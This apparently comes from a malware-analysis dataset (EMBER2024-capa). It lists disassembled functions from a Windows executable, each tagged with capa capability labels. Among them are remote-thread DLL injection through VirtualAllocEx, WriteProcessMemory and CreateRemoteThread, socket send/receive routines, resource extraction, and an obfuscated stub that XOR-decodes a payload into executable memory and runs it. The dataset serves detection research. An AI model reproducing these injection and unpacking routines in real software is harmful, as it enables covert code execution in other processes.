joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fb9
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x4290a0]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004100e0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x40206b
push edi
mov edi, str.golfinfo.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x402004
sub eax, edx
sar eax, 1
je 0x40206a
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0040ebd7
push 0x424bbc
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0040e67e
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x40206a
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0040eef4
push dword [ebp - 0x78]
call fcn.0040e92c
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.0040e402
add ebp, 0x198
leave
ret

Function at 0x4021f8
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push 0x3e8
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x424bbc
mov esi, 0x44bee8
lea eax, [ebp - 4]
push esi
push eax
call fcn.0040e67e
add esp, 0xc
cmp dword [ebp - 4], edi
je 0x402306
push ebx
push 2
push edi
push dword [ebp - 4]
call fcn.0040f36f
push dword [ebp - 4]
call fcn.0040f591
mov edi, eax
push edi
call fcn.0040f5ff
push 0
push 0
push dword [ebp - 4]
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.0040f36f
push dword [ebp - 4]
push edi
push 1
push ebx
call fcn.0040eef4
add esp, 0x30
cmp edi, eax
jne 0x4022e7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040f2b1
pop ecx
call fcn.0040f2c3
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fmul qword [0x426d98]
fmul qword [0x426d90]
fadd qword [0x426d88]
call fcn.004110b0
cmp edi, eax
jl 0x4022e7
sub ebx, eax
push eax
add ebx, edi
call fcn.004021b6
push dword [ebp - 4]
call fcn.0040e92c
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x4248b4
lea eax, [ebp - 4]
push esi
push eax
call fcn.0040e67e
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x402305
push dword [ebp - 4]
push edi
push 1
push dword [ebp - 8]
call fcn.0040e833
add esp, 0x10
cmp dword [ebp - 4], 0
je 0x4022f6
push dword [ebp - 4]
call fcn.0040e92c
pop ecx
cmp dword [ebp - 8], 0
je 0x402305
push dword [ebp - 8]
call fcn.0040e3f7
pop ecx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40230a
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x4290a0]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push esi
push edi
xor eax, eax
push 0x62
mov word [esp + 0x214], ax
xor ebx, ebx
lea eax, [esp + 0x216]
push ebx
push eax
call fcn.004100e0
add esp, 0xc
push 0x200
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.004100e0
add esp, 0xc
lea edi, [esp + 0x10]
call fcn.00402084
test eax, eax
je 0x402426
xor eax, eax
movzx ecx, word [esp + eax + 0x14]
mov word [eax + 0x44bdf0], cx
inc eax
inc eax
cmp cx, bx
jne 0x40236c
movzx eax, word [esp + 0x94]
mov dword [0x44be18], eax
xor eax, eax
movzx ecx, word [esp + eax + 0x96]
mov word [eax + 0x44be1c], cx
inc eax
inc eax
cmp cx, bx
jne 0x40238e
cmp dword [0x44c0f0], 3
mov edi, 0x104
mov esi, 0x44bee8
jne 0x4023d0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x424be0
push edi
push esi
call fcn.0040ebd7
add esp, 0xc
jmp 0x4023d8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x1b8]
push eax
push edi
push esi
call fcn.0040ebd7
add esp, 0xc
push 0x424be4
push edi
push esi
call fcn.0040ebd7
add esp, 0xc
call fcn.004021f8
push ebx
push ebx
push ebx
push 0x402103
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea edi, [esp + 0x210]
call fcn.00402128
mov eax, edi
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x27c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040e402
mov esp, ebp
pop ebp
ret

Function at 0x40243b
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x4290a0]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004100e0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4024bf
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x4024a9
test eax, eax
jne 0x402498
cmp word [ebp + 0x94], 4
jb 0x4024bf
inc esi
cmp eax, 2
jne 0x40249f
push eax
pop esi
jae 0x4024a6
cmp eax, 1
jne 0x4024bf
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x4024bf
test eax, eax
jne 0x4024b7
push 4
jmp 0x4024be
cmp eax, 1
jne 0x4024bf
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040e402
add ebp, 0xa0
leave
ret
Function at 0x402573
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov esi, eax
push 0x83
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x402604
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 4]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov dword [eax], edi
mov eax, edi
neg esi
shr eax, 9
add esi, eax
shl esi, 9
push esi
call fcn.0040f5ff
push esi
mov ebx, eax
push 0
push ebx
call fcn.004100e0
push edi
push dword [ebp - 4]
push ebx
call fcn.0040fd70
add esp, 0x1c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x4028f2
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1b8]
sub esp, 0x238
mov eax, dword [0x4290a0]
xor eax, ebp
mov dword [ebp + 0x1b4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov esi, ecx
mov dword [ebp - 0x80], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
jne 0x402934
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40299b
push edi
mov edi, 0x22c
push edi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.004100e0
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
mov dword [ebp - 0x78], edi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x402986
xor edi, edi
cmp dword [esi], edi
jle 0x40297a
lea ebx, [esi + 4]
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.0040f7fe
pop ecx
pop ecx
test eax, eax
je 0x4029b5
inc edi
sub ebx, 0xffffff80
cmp edi, dword [esi]
jl 0x402962
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x402959
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp + 0x1b4]
mov eax, dword [ebp - 0x80]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e402
add ebp, 0x1b8
leave
ret
lea eax, [ebp - 0x54]
push eax
lea eax, [esi + 0xa14]
push 0x40
push eax
mov dword [ebp - 0x80], 1
mov dword [esi + 0xa0c], edi
call fcn.0040eae6
mov eax, dword [ebp - 0x70]
mov dword [esi + 0xa10], eax
mov eax, dword [esi + 0xa0c]
shl eax, 7
lea eax, [eax + esi + 0x504]
push eax
push 0x40
add esi, 0xa98
push esi
call fcn.0040eae6
add esp, 0x18
jmp 0x402991
Function at 0x402c4c
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push edi
xor edi, edi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp + 8], ebx
je 0x402d4c
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x402d4c
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402c75
sub eax, edx
sar eax, 1
cmp eax, 4
jb 0x402d4c
push dword [ebp + 8]
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, ebx
jne 0x402cb7
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov dword [ebp - 4], eax
call esi
jmp 0x402d5b
push 4
push 0x3000
push 0x104
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, ebx
jne 0x402ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402d5b
mov eax, dword [ebp + 0xc]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402ce6
sub eax, edx
push ebx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402cd1
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402cd1
push 0x424c24
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402cd1
push ebx
push ebx
push esi
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, ebx
je 0x402d71
push 0x2710
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x402d50
or dword [ebp - 4], 0xffffffff
cmp edi, ebx
je 0x402d5b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], ebx
pop edi
pop esi
pop ebx
je 0x402d6c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402d50
Function at 0x4034ab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4034c2
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4034f7
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4034f3
cmp edi, eax
jae 0x4034f7
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x4034e5
cmp edi, eax
jb 0x4034fb
xor eax, eax
jmp 0x403504
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x403877
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x794]
sub esp, 0x814
mov eax, dword [0x4290a0]
xor eax, ebp
mov dword [ebp + 0x790], eax
mov eax, dword [ebp + 0x79c]
push edi
mov edi, ecx
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x7c], ecx
test eax, eax
je 0x4038a8
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
xor eax, eax
and dword [ebp - 0x80], eax
mov word [ecx], ax
cmp dword [esi], eax
je 0x40392c
push ebx
call fcn.0040f5ff
push ebx
push edi
push eax
mov dword [ebp - 0x78], eax
call fcn.0040fd70
mov edi, dword [sym.imp.WS2_32.dll_send]
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x74], al
mov eax, ebx
sar eax, 0x10
mov byte [ebp - 0x73], al
add esp, 0x10
mov eax, ebx
sar eax, 8
push 0
mov byte [ebp - 0x72], al
push 4
lea eax, [ebp - 0x74]
push eax
push dword [esi]
mov byte [ebp - 0x71], bl
call edi
push 0
push ebx
push dword [ebp - 0x78]
push dword [esi]
call edi
cmp eax, 0xffffffff
je 0x403914
cmp eax, ebx
jne 0x403914
mov dword [ebp - 0x80], 1
jmp 0x40392c
mov edx, dword [ebp - 0x7c]
mov eax, 0x424ca8
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40391e
cmp dword [ebp - 0x78], 0
pop edi
je 0x40393c
push dword [ebp - 0x78]
call fcn.0040e3f7
pop ecx
mov ecx, dword [ebp + 0x790]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
call fcn.0040e402
add ebp, 0x794
leave
ret 4
Function at 0x403956
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x79c]
sub esp, 0x81c
mov eax, dword [0x4290a0]
xor eax, ebp
mov dword [ebp + 0x798], eax
mov eax, dword [ebp + 0x7a4]
push edi
lea edi, [ebp - 0x68]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edi
test ecx, ecx
je 0x40398d
mov dword [ebp - 0x78], ecx
mov edi, ecx
xor ecx, ecx
and dword [ebp - 0x74], ecx
mov word [edi], cx
mov eax, dword [eax]
test eax, eax
je 0x403aa2
test edx, edx
je 0x403aa2
push ecx
mov byte [ebp - 0x6c], cl
mov byte [ebp - 0x6b], cl
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x69], cl
push 4
lea ecx, [ebp - 0x6c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4039e0
mov eax, 0x424cc8
sub edi, eax
movzx ecx, word [eax]
mov word [edi + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4039cd
jmp 0x403aa2
test eax, eax
jne 0x4039f0
mov dword [ebp - 0x74], 1
jmp 0x403aa2
movzx eax, byte [ebp - 0x6b]
push ebx
movzx ebx, byte [ebp - 0x6c]
push dword [esi]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x6a]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x69]
shl ebx, 8
add ebx, eax
xor edi, edi
call fcn.0040f5ff
cmp dword [esi], edi
pop ecx
mov dword [ebp - 0x70], eax
jle 0x403a4c
cmp edi, ebx
jae 0x403a4c
mov eax, dword [esi]
sub eax, edi
push 0
push eax
mov eax, dword [ebp - 0x70]
add eax, edi
push eax
mov eax, dword [ebp - 0x80]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403a62
test eax, eax
je 0x403a62
add edi, eax
cmp dword [esi], edi
jg 0x403a21
mov eax, dword [esi]
cmp eax, edi
jl 0x403a7c
push edi
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.0040fd70
mov dword [esi], edi
jmp 0x403a88
mov edx, dword [ebp - 0x78]
mov eax, 0x424cc8
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403a6c
jmp 0x403a92
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.0040fd70
add esp, 0xc
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x70], 0
pop ebx
je 0x403aa2
push dword [ebp - 0x70]
call fcn.0040e3f7
pop ecx
mov ecx, dword [ebp + 0x798]
mov eax, dword [ebp - 0x74]
xor ecx, ebp
pop edi
call fcn.0040e402
add ebp, 0x79c
leave
ret 4
Function at 0x403cd2
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push edi
mov esi, eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403d97
cmp esi, 0xa
jb 0x403d97
shl eax, 2
mov dword [ebp - 0xc], eax
inc eax
push eax
call fcn.0040e460
pop ecx
mov ebx, eax
push ebx
push esi
push dword [ebp + 8]
lea edi, [ebp - 0xc]
call fcn.00403c64
add esp, 0xc
test eax, eax
je 0x403d8e
push 0x4248b4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0040e67e
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x403d3e
mov dword [ebp - 8], 0xfffffffe
jmp 0x403daa
push dword [ebp - 4]
push dword [ebp - 0xc]
push 1
push ebx
call fcn.0040e833
add esp, 0x10
cmp eax, dword [ebp - 0xc]
je 0x403d5d
mov dword [ebp - 8], 0xfffffffe
jmp 0x403d9b
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov edi, edx
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp - 4]
push edi
push 1
add edx, ebx
push edx
call fcn.0040e833
add esp, 0x10
jmp 0x403d9b
mov dword [ebp - 8], 0xfffffffd
jmp 0x403d9b
or dword [ebp - 8], 0xffffffff
cmp dword [ebp - 4], 0
je 0x403daa
push dword [ebp - 4]
call fcn.0040e92c
pop ecx
test ebx, ebx
je 0x403db5
push ebx
call fcn.0040e52a
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405549
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x405554
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x405606
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x426728]
inc ecx
sub edi, 8
dec esi
jne 0x40556b
pop ebx
test edi, edi
je 0x40561f
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x426728]
inc ecx
dec edi
jne 0x40560a
pop esi
not eax
pop edi
ret
Function at 0x405624
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x426728]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x426728]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x405c99
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x405cc9
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405cc4
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x405cf1
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x405cda
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040fd70
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x406998
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x406a3e
cmp dword [ebx + 4], 0xffffffff
jne 0x406a3e
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4069c5
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4069fc
cmp ax, 0x2f
je 0x4069fc
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4069e9
mov edi, esi
mov esi, 0x424be0
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.0040fa15
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.00405f12
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x406a43
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x40e402
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4290a0]
jne 0x40e40c
repz ret
jmp fcn.004113c7
Function at 0x41a35e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004137f7
and dword [ebp - 4], 0
cmp dword [0x42bb20], 0
mov ebx, eax
jne 0x41a40f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41a4c0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41a4c0
push eax
call fcn.00413785
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42bb20], eax
call esi
push eax
call fcn.00413785
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42bb24], eax
call esi
push eax
call fcn.00413785
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42bb28], eax
call esi
push eax
call fcn.00413785
pop ecx
mov dword [0x42bb30], eax
test eax, eax
je 0x41a40f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00413785
pop ecx
mov dword [0x42bb2c], eax
mov eax, dword [0x42bb2c]
cmp eax, ebx
je 0x41a467
cmp dword [0x42bb30], ebx
je 0x41a467
push eax
call fcn.00413800
push dword [0x42bb30]
mov esi, eax
call fcn.00413800
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41a467
test edi, edi
je 0x41a467
call esi
test eax, eax
je 0x41a45e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41a45e
test byte [ebp - 0xc], 1
jne 0x41a467
or dword [ebp + 0x10], 0x200000
jmp 0x41a4a0
mov eax, dword [0x42bb24]
cmp eax, ebx
je 0x41a4a0
push eax
call fcn.00413800
pop ecx
test eax, eax
je 0x41a4a0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41a4a0
mov eax, dword [0x42bb28]
cmp eax, ebx
je 0x41a4a0
push eax
call fcn.00413800
pop ecx
test eax, eax
je 0x41a4a0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42bb20]
call fcn.00413800
pop ecx
test eax, eax
je 0x41a4c0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41a4c2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40345b
pop dword [ebp - 0x14]
mov eax, 0xfc85ce3c
sub eax, 0xfc4599e1
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x1fb317fe
sub dword [ebp - 0x24], 0xd160d2b3
mov dword [ebp - 0x20], 0x55846715
add dword [ebp - 0x20], 0xdcaee530
mov dword [ebp - 0x1c], 0x26544d7
sub dword [ebp - 0x1c], 0xb61900a9
mov dword [ebp - 0x18], 0x82843cb2
add dword [ebp - 0x18], 0x7d7bc34e
lea eax, [ebp - 0x24]
push eax
mov eax, 0xe6d4c746
add eax, 0x196b790e
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xaadb5d00
add dword [ebp - 0x24], 0xc9970c56
mov dword [ebp - 0x20], 0xd4b082da
sub dword [ebp - 0x20], 0x93442165
mov dword [ebp - 0x1c], 0xb8ced113
add dword [ebp - 0x1c], 0xaaa09b59
mov dword [ebp - 0x18], 0x74591e10
add dword [ebp - 0x18], 0x8ba6e1f0
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x35b37
push 0
call eax
mov ecx, 0x924d67cc
sub ecx, 0x924d2474
mov ebx, eax
mov esi, 0xbbd4ace7
add esi, 0x446bd719
add esi, dword [ebp - 0x14]
mov edx, 0x68d8957
add edx, 0x4787a5f9
sub dword [ebp - 0xc], ebx
mov edi, dword [esi]
xor dword [ebp - 4], edx
xor edi, edx
mov dword [ebp - 0x10], 0xcd844265
mov dword [ebx], edi
add dword [ebp - 0x10], edx
add ebx, 0x4d1882f6
sub ebx, 0x4d1882f2
add esi, 4
loop 0x403578
add eax, 0x10033
xor ebx, ebx
add ebx, eax
add eax, 0x7c84ddf9
add eax, 0x837b220c
mov ecx, 0x94b5c1e2
sub ecx, 0x9475c1e2
add ecx, dword [ebp - 0x14]
call ebx
leave
ret